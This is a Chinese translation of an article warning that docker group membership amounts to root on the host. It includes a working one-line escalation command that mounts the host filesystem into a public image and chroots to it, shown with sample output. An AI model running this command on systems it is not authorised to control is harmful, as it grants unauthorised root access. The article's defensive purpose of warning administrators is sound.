Docker 安全:通过 Docker 提升权限

简介: 本文讲的是Docker 安全:通过 Docker 提升权限,【编者的话】本文的目的在于提醒大家注意 Docker 的安全性。本文中所有的内容总结成一句话:某个用户被加入了 docker 用户组,那么这个用户相当于直接获得了宿主机免认证的 root 权限。
本文讲的是Docker 安全:通过 Docker 提升权限 【编者的话】本文的目的在于提醒大家注意 Docker 的安全性。本文中所有的内容总结成一句话:某个用户被加入了  docker  用户组,那么这个用户相当于直接获得了宿主机免认证的  root  权限。本文中的情况出现的情况比较苛刻,所以大家可以把这篇文章当做一个  warning  问不是  error

文章太长不要看,一句话,不要用  docker  用户组。

如果你对 Docker 不熟悉的话,简单来说,Docker 是一个轻量级的应用容器。和常见的虚拟机类似,但是和虚拟机相比,资源消耗更低。并且,使用和  GitHub  类似的被  commit  的容器,非常容易就能实现容器内指定运行环境中的应用打包和部署。

问题

如果你有服务器上一个普通用户的账号,如果这个用户被加入了  docker  用户组,那么你很容易就能获得宿主机的  root  权限。

黑魔法:
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

输出如下:
johndoe@testmachine:~$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
[...]
You should now have a root shell on the host OS
Press Ctrl-D to exit the docker instance / shell

whoami

root #此处是容器内部,但是容器已经 chroot /hostOS,所以相当于直接获取了宿主机的 root 权限。 #

译者一直以为是 Ctrl-D 之后,宿主机的  shell 变成  root,实际上不是。
咨询了作者 Chris Foster 得知,是在容器内获得宿主机的  root 权限。
是不是想起了以前译者在  Docker 安全 中提到的容器内部的 UID=0 对容器外部某个不明程序执行了  chmod +s

解释

当然,所有的解释汇成一句话,应该就是: docker  组内用户执行命令的时候会自动在所有命令前添加  sudo 。因为设计或者其他的原因,Docker 给予所有  docker  组的用户相当大的权力(虽然权力只体现在能访问 /var/run/docker.sock 上面)。

默认情况下,Docker 软件包是会默认添加一个  docker  用户组的。Docker 守护进程会允许 root 用户和  docker  组用户访问 Docker。给用户提供 Docker 权限和给用户无需认证便可以随便获取的  root  权限差别不大。

解决方案

对于 Docker 来说可能很难修复,因为涉及到他们的架构问题,所以需要重写非常多的关键代码才能避免这个问题。我个人的建议是不要使用  docker  用户组。当然,Docker 官方文档中最好也很清楚地写明这一点。不要让新人不懂得“和  root  权限差别不大”是什么意思。

Docker 官方也意识到了这个问题,尽管他们并没有很明显地表明想去修复它。在他们的安全文档中,他们也的确表示  docker  用户组的权限和  root  权限差别不大,并且敬告用户慎重使用。

漏洞详情

上面那条命令  docker run -v /:/hostOS -i -t chrisfosterelli/rootplease ,主要的作用是:从 Docker Hub 上面下载我的镜像,然后运行。参数  -v  将容器外部的目录  /  挂载到容器内部  /hostOS ,并且使用  -i  和  -t  参数进入容器的  shell

这个容器的启动脚本是  exploit.sh ,主要内容是:chroot 到容器的  /hostOS  (也就是宿主机的  / ),然后获取到宿主机的  root  权限。

当然可以从这个衍生出非常多的提权方法,但是这个方法是最直接的。

本文中所提到的代码托管在  Github ,镜像在  Docker Hub

原文链接:Privilege Escalation via Docker (翻译:SegmentFault社区 审校:魏小红)

=============================================
译者介绍
本文由  SegmentFault 社区  组织翻译。SegmentFault 正在组织翻译更多 Docker 文章,包括:Docker 安全、搭建 Rails 环境、甚至搭建 .NET 环境等,欢迎关注我们。

原文发布时间为:2015-05-27
本文作者:大舒 
本文来自云栖社区合作伙伴DockerOne,了解相关信息可以关注DockerOne。
原文标题:Docker 安全:通过 Docker 提升权限
目录
相关文章
|
安全 jenkins 持续交付
企业实战(23)基于Docker平台的Jenkins用户项目权限授权(3)
企业实战(23)基于Docker平台的Jenkins用户项目权限授权(3)
299 0
|
存储 安全 数据安全/隐私保护
在Docker中,Docker安全么?
在Docker中,Docker安全么?
|
关系型数据库 MySQL Docker
docker环境下mysql镜像启动后权限更改问题的解决
在Docker环境下运行MySQL容器时,权限问题是一个常见的困扰。通过正确设置目录和文件的权限,可以确保MySQL容器顺利启动并正常运行。本文提供了多种解决方案,包括在主机上设置正确的权限、使用Dockerfile和Docker Compose进行配置、在容器启动后手动更改权限以及使用 `init`脚本自动更改权限。根据实际情况选择合适的方法,可以有效解决MySQL容器启动后的权限问题。希望本文对您在Docker环境下运行MySQL容器有所帮助。
2766 1
|
监控 安全 数据安全/隐私保护
【Docker专栏】Docker容器安全:防御与加固策略
【5月更文挑战第7天】本文探讨了Docker容器安全,指出容器化技术虽带来便利,但也存在安全隐患,如不安全的镜像、容器逃逸、网络配置不当等。建议采取使用官方镜像、镜像扫描、最小权限原则等防御措施,并通过安全的Dockerfile编写、运行时安全策略、定期更新和访问控制等加固容器安全。保持警惕并持续学习安全实践至关重要。
1420 7
【Docker专栏】Docker容器安全:防御与加固策略
|
运维 Shell Linux
运维专题.Docker功能权限(Capabilities)管理和查看
运维专题.Docker功能权限(Capabilities)管理和查看
1092 1
|
运维 安全 Docker
【Docker 专栏】Docker 镜像安全扫描与漏洞修复
【5月更文挑战第9天】Docker技术在软件开发和部署中带来便利,但其镜像安全问题不容忽视。本文探讨了Docker镜像安全扫描与漏洞修复,强调了镜像安全对应用和系统的重要性。文中介绍了静态和动态扫描方法,列举了软件漏洞、配置漏洞和恶意软件等常见安全问题,并提到了Clair和Trivy等扫描工具。修复策略包括更新软件、调整配置和重建镜像。此外,加强安全意识、规范镜像制作流程和定期扫描是管理建议。未来,将持续面对新的安全挑战,需持续研究和完善安全技术。
1216 3
【Docker 专栏】Docker 镜像安全扫描与漏洞修复
|
Cloud Native 安全 Docker
云上攻防-云原生篇&Docker安全&系统内核&版本&CDK自动利用&容器逃逸
云上攻防-云原生篇&Docker安全&系统内核&版本&CDK自动利用&容器逃逸
541 5
|
JSON 网络协议 Unix
docker权限问题
docker权限问题
|
安全 持续交付 Docker
精通 Docker:简化开发、部署与安全保障
精通 Docker:简化开发、部署与安全保障
192 0
|
运维 Linux Apache
Docker详解(十二)——Docker容器权限问题
Docker详解(十二)——Docker容器权限问题
4175 5